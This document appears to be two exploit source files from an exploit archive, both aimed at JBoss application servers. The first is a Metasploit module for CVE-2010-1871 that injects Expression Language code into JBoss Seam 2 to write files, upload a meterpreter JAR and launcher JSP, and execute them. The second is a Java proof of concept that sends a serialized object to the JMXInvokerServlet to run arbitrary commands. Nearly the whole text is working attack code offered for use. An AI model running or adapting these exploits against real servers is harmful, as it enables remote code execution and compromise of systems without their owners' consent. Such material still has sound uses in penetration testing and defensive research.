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# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'JBoss Seam 2 File Upload and Execute', 'Description' => %q{ Versions of the JBoss Seam 2 framework < 2.2.1CR2 fails to properly sanitize inputs to some JBoss Expression Language expressions. As a result, attackers can gain remote code execution through the application server. This module leverages RCE to upload and execute a meterpreter payload. Versions of the JBoss AS admin-console are known to be vulnerable to this exploit, without requiring authentication. Tested against JBoss AS 5 and 6, running on Linux with JDKs 6 and 7. This module provides a more efficient method of exploitation - it does not loop to find desired Java classes and methods. NOTE: the check for upload success is not 100% accurate. NOTE 2: The module uploads the meterpreter JAR and a JSP to launch it. }, 'Author' => [ 'vulp1n3 <vulp1n3[at]gmail.com>' ], 'References' => [ # JBoss EAP 4.3.0 does not properly sanitize JBoss EL inputs ['CVE', '2010-1871'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=615956'], ['URL', 'http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html'], ['URL', 'http://archives.neohapsis.com/archives/bugtraq/2013-05/0117.html'] ], 'DisclosureDate' => "Aug 05 2010", 'License' => MSF_LICENSE, 'Platform' => %w{ java }, 'Targets' => [ [ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ] ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8080), OptString.new('AGENT', [ true, "User-Agent to send with requests", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"]), OptString.new('CTYPE', [ true, "Content-Type to send with requests", "application/x-www-form-urlencoded"]), OptString.new('TARGETURI', [ true, "URI that is built on JBoss Seam 2", "/admin-console/login.seam"]), OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 10]), OptString.new('FNAME', [ false, "Name of file to create - NO EXTENSION! (default: random)", nil]), OptInt.new('CHUNKSIZE', [ false, 'Size in bytes of chunk per request', 1024]), ], self.class) end def check vprint_status("#{rhost}:#{rport} Checking for vulnerable JBoss Seam 2") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) vprint_debug("Server sent a 302 with location") if (res.headers['Location'] =~ %r(public\+static\+java\.lang\.Runtime\+java.lang.Runtime.getRuntime\%28\%29)) report_vuln({ :host => rhost, :port => rport, :name => "#{self.name} - #{uri}", :refs => self.references, :info => "Module #{self.fullname} found vulnerable JBoss Seam 2 resource." }) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end # If we reach this point, we didn't find the service return Exploit::CheckCode::Unknown end def execute_cmd(cmd) cmd_to_run = Rex::Text.uri_encode(cmd) vprint_status("#{rhost}:#{rport} Sending command: #{cmd_to_run}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('#{cmd_to_run}')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) if (res.headers['Location'] =~ %r(user=java.lang.UNIXProcess)) vprint_status("#{rhost}:#{rport} Exploit successful") else vprint_status("#{rhost}:#{rport} Exploit failed.") end else vprint_status("#{rhost}:#{rport} Exploit failed.") end end def call_jsp(jspname) # TODO ugly way to strip off last resource on a path uri = target_uri.path *keep,ignore = uri.split(/\//) keep.push(jspname) uri = keep.join("/") uri = "/" + uri if (uri[0] != "/") res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "sessionid=" + Rex::Text.rand_text_alpha(32) }, timeout=datastore['TIMEOUT']) if (res and res.code == 200) vprint_status("Successful request to JSP") else vprint_error("Failed to request JSP") end end def upload_jsp(filename,jarname) jsp_text = <<EOJSP <%@ page import="java.io.*" %><%@ page import="java.net.*" %><% URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("/#{jarname}")).toURI().toURL()}); Class c = cl.loadClass("metasploit.Payload"); c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); %> EOJSP vprint_status("Uploading JSP to launch payload") status = upload_file_chunk(filename,'false',jsp_text) if status vprint_status("JSP uploaded to to #{filename}") else vprint_error("Failed to upload file.") end @pl_sent = true end def upload_file_chunk(filename, append='false', chunk) # create URL-safe Base64-encoded version of chunk b64 = Rex::Text.encode_base64(chunk) b64 = b64.gsub("+","%2b") b64 = b64.gsub("/","%2f") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('java.io.FileOutputStream').getConstructor('java.lang.String',expressions.getClass().forName('java.lang.Boolean').getField('TYPE').get(null)).newInstance(request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/'),#{append}).write(expressions.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer(request.getParameter('c'))).close()}&c=" + b64 }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # TODO Including the conversationId part in this regex might cause # failure on other Seam applications. Needs more testing if (res.headers['Location'] =~ %r(user=&conversationId)) #vprint_status("#{rhost}:#{rport} Exploit successful.") return true else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end else #vprint_status("#{rhost}:#{rport} Exploit failed.") return false end end def get_full_path(filename) #vprint_debug("Trying to find full path for #{filename}") uri = target_uri.path res = send_request_cgi( { 'uri' => normalize_uri(uri), 'method' => 'POST', 'ctype' => datastore['CTYPE'], 'agent' => datastore['AGENT'], 'data' => "actionOutcome=/success.xhtml?user%3d%23{request.getRealPath('/#{filename}').replaceAll('\\\\\\\\','/')}" }, timeout=datastore['TIMEOUT']) if (res and res.code == 302 and res.headers['Location']) # the user argument should be set to the result of our call - which # will be the full path of our file matches = /.*user=(.+)\&.*/.match(res.headers['Location']) #vprint_debug("Location is " + res.headers['Location']) if (matches and matches.captures) return Rex::Text::uri_decode(matches.captures[0]) else return nil end else return nil end end def java_stager(fname, chunk_size) @payload_exe = fname + ".jar" jsp_name = fname + ".jsp" #data = payload.encoded_jar.pack data = payload.encoded_jar.pack append = 'false' while (data.length > chunk_size) status = upload_file_chunk(@payload_exe, append, data[0, chunk_size]) if status vprint_debug("Uploaded chunk") else vprint_error("Failed to upload chunk") break end data = data[chunk_size, data.length - chunk_size] # first chunk is an overwrite, afterwards, we need to append append = 'true' end status = upload_file_chunk(@payload_exe, 'true', data) if status vprint_status("Payload uploaded to " + @payload_exe) else vprint_error("Failed to upload file.") end # write a JSP that can call the payload in the jar upload_jsp(jsp_name, @payload_exe) pe_path = get_full_path(@payload_exe) || @payload_exe jsp_path = get_full_path(jsp_name) || jsp_name # try to clean up our stuff; register_files_for_cleanup(pe_path, jsp_path) # call the JSP to launch the payload call_jsp(jsp_name) end def exploit @pl_sent = false if check == Exploit::CheckCode::Vulnerable fname = datastore['FNAME'] || Rex::Text.rand_text_alpha(8+rand(8)) vprint_status("#{rhost}:#{rport} Host is vulnerable") vprint_status("#{rhost}:#{rport} Uploading file...") # chunking code based on struts_code_exec_exception_delegator append = 'false' chunk_size = datastore['CHUNKSIZE'] # sanity check if (chunk_size <= 0) vprint_error("Invalid chunk size #{chunk_size}") return end vprint_debug("Sending in chunks of #{chunk_size}") case target['Platform'] when 'java' java_stager(fname, chunk_size) else fail_with(Failure::NoTarget, 'Unsupported target platform!') end handler end end end Source

/* * JBoss JMXInvokerServlet Remote Command Execution * JMXInvoker.java v0.3 - Luca Carettoni @_ikki * * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...). * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation" * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console" * and the "JMX Console" are protected or disabled. * * [FAQ] * * Q: Is my target vulnerable? * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable * * Q: How to fix it? * A: Enable authentication in "jmx-invoker-service.xml" * * Q: Is this exploit version-dependent? * A: Unfortunately, yes. An hash value is used to properly invoke a method. * At least comparing version 4.x and 5.x, these hashes are different. * * Q: How to compile and launch it? * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java * java -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker * Yes, it's a Java exploit. I can already see some of you complaining.... */ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.ConnectException; import java.net.HttpURLConnection; import java.net.URL; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir) public class JMXInvokerServlet { //---------> CHANGE ME <--------- static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1 static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet"; static final String cmd = "touch /tmp/exectest"; //------------------------------- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException { System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]"); //Create a malicious Java serialized object MarshalledInvocation payload = new MarshalledInvocation(); payload.setObjectName(new Integer(hash)); //Executes the MBean invoke operation Class<?> c = Class.forName("javax.management.MBeanServerConnection"); Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class); payload.setMethod(method); //Define MBean's name, operation and pars Object myObj[] = new Object[4]; //MBean object name myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer"); //Operation name myObj[1] = new String("createScriptDeployment"); //Actual parameters myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"}; //Operation signature myObj[3] = new String[]{"java.lang.String", "java.lang.String"}; payload.setArguments(myObj); System.out.println("\n--[*] MarshalledInvocation object created"); //For debugging - visualize the raw object //System.out.println(dump(payload)); //Serialize the object try { //Send the payload URL server = new URL(url); HttpURLConnection conn = (HttpURLConnection) server.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setDoInput(true); conn.setUseCaches(false); conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"); conn.setRequestProperty("Connection", "keep-alive"); conn.setRequestProperty("User-Agent", "Java/1.6.0_06"); conn.setRequestProperty("Content-Type", "application/octet-stream"); conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate"); conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation"); ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream()); wr.writeObject(payload); System.out.println("\n--[*] MarshalledInvocation object serialized"); System.out.println("\n--[*] Sending payload..."); wr.flush(); wr.close(); //Get the response InputStream is = conn.getInputStream(); BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; StringBuffer response = new StringBuffer(); while ((line = rd.readLine()) != null) { response.append(line); } rd.close(); if (response.indexOf("Script Name") != -1) { System.out.println("\n--[*] \"" + cmd + "\" successfully executed"); } else { System.out.println("\n--[!] An invocation error occured..."); } } catch (ConnectException cex) { System.out.println("\n--[!] A connection error occured..."); } catch (IOException ex) { ex.printStackTrace(); } } /* * Raw dump of generic Java Objects */ static String dump(Object o) { StringBuffer buffer = new StringBuffer(); Class oClass = o.getClass(); if (oClass.isArray()) { buffer.append("["); for (int i = 0; i < Array.getLength(o); i++) { if (i > 0) { buffer.append(",\n"); } Object value = Array.get(o, i); buffer.append(value.getClass().isArray() ? dump(value) : value); } buffer.append("]"); } else { buffer.append("{"); while (oClass != null) { Field[] fields = oClass.getDeclaredFields(); for (int i = 0; i < fields.length; i++) { if (buffer.length() > 1) { buffer.append(",\n"); } fields[i].setAccessible(true); buffer.append(fields[i].getName()); buffer.append("="); try { Object value = fields[i].get(o); if (value != null) { buffer.append(value.getClass().isArray() ? dump(value) : value); } } catch (IllegalAccessException e) { } } oClass = oClass.getSuperclass(); } buffer.append("}"); } return buffer.toString(); } } Source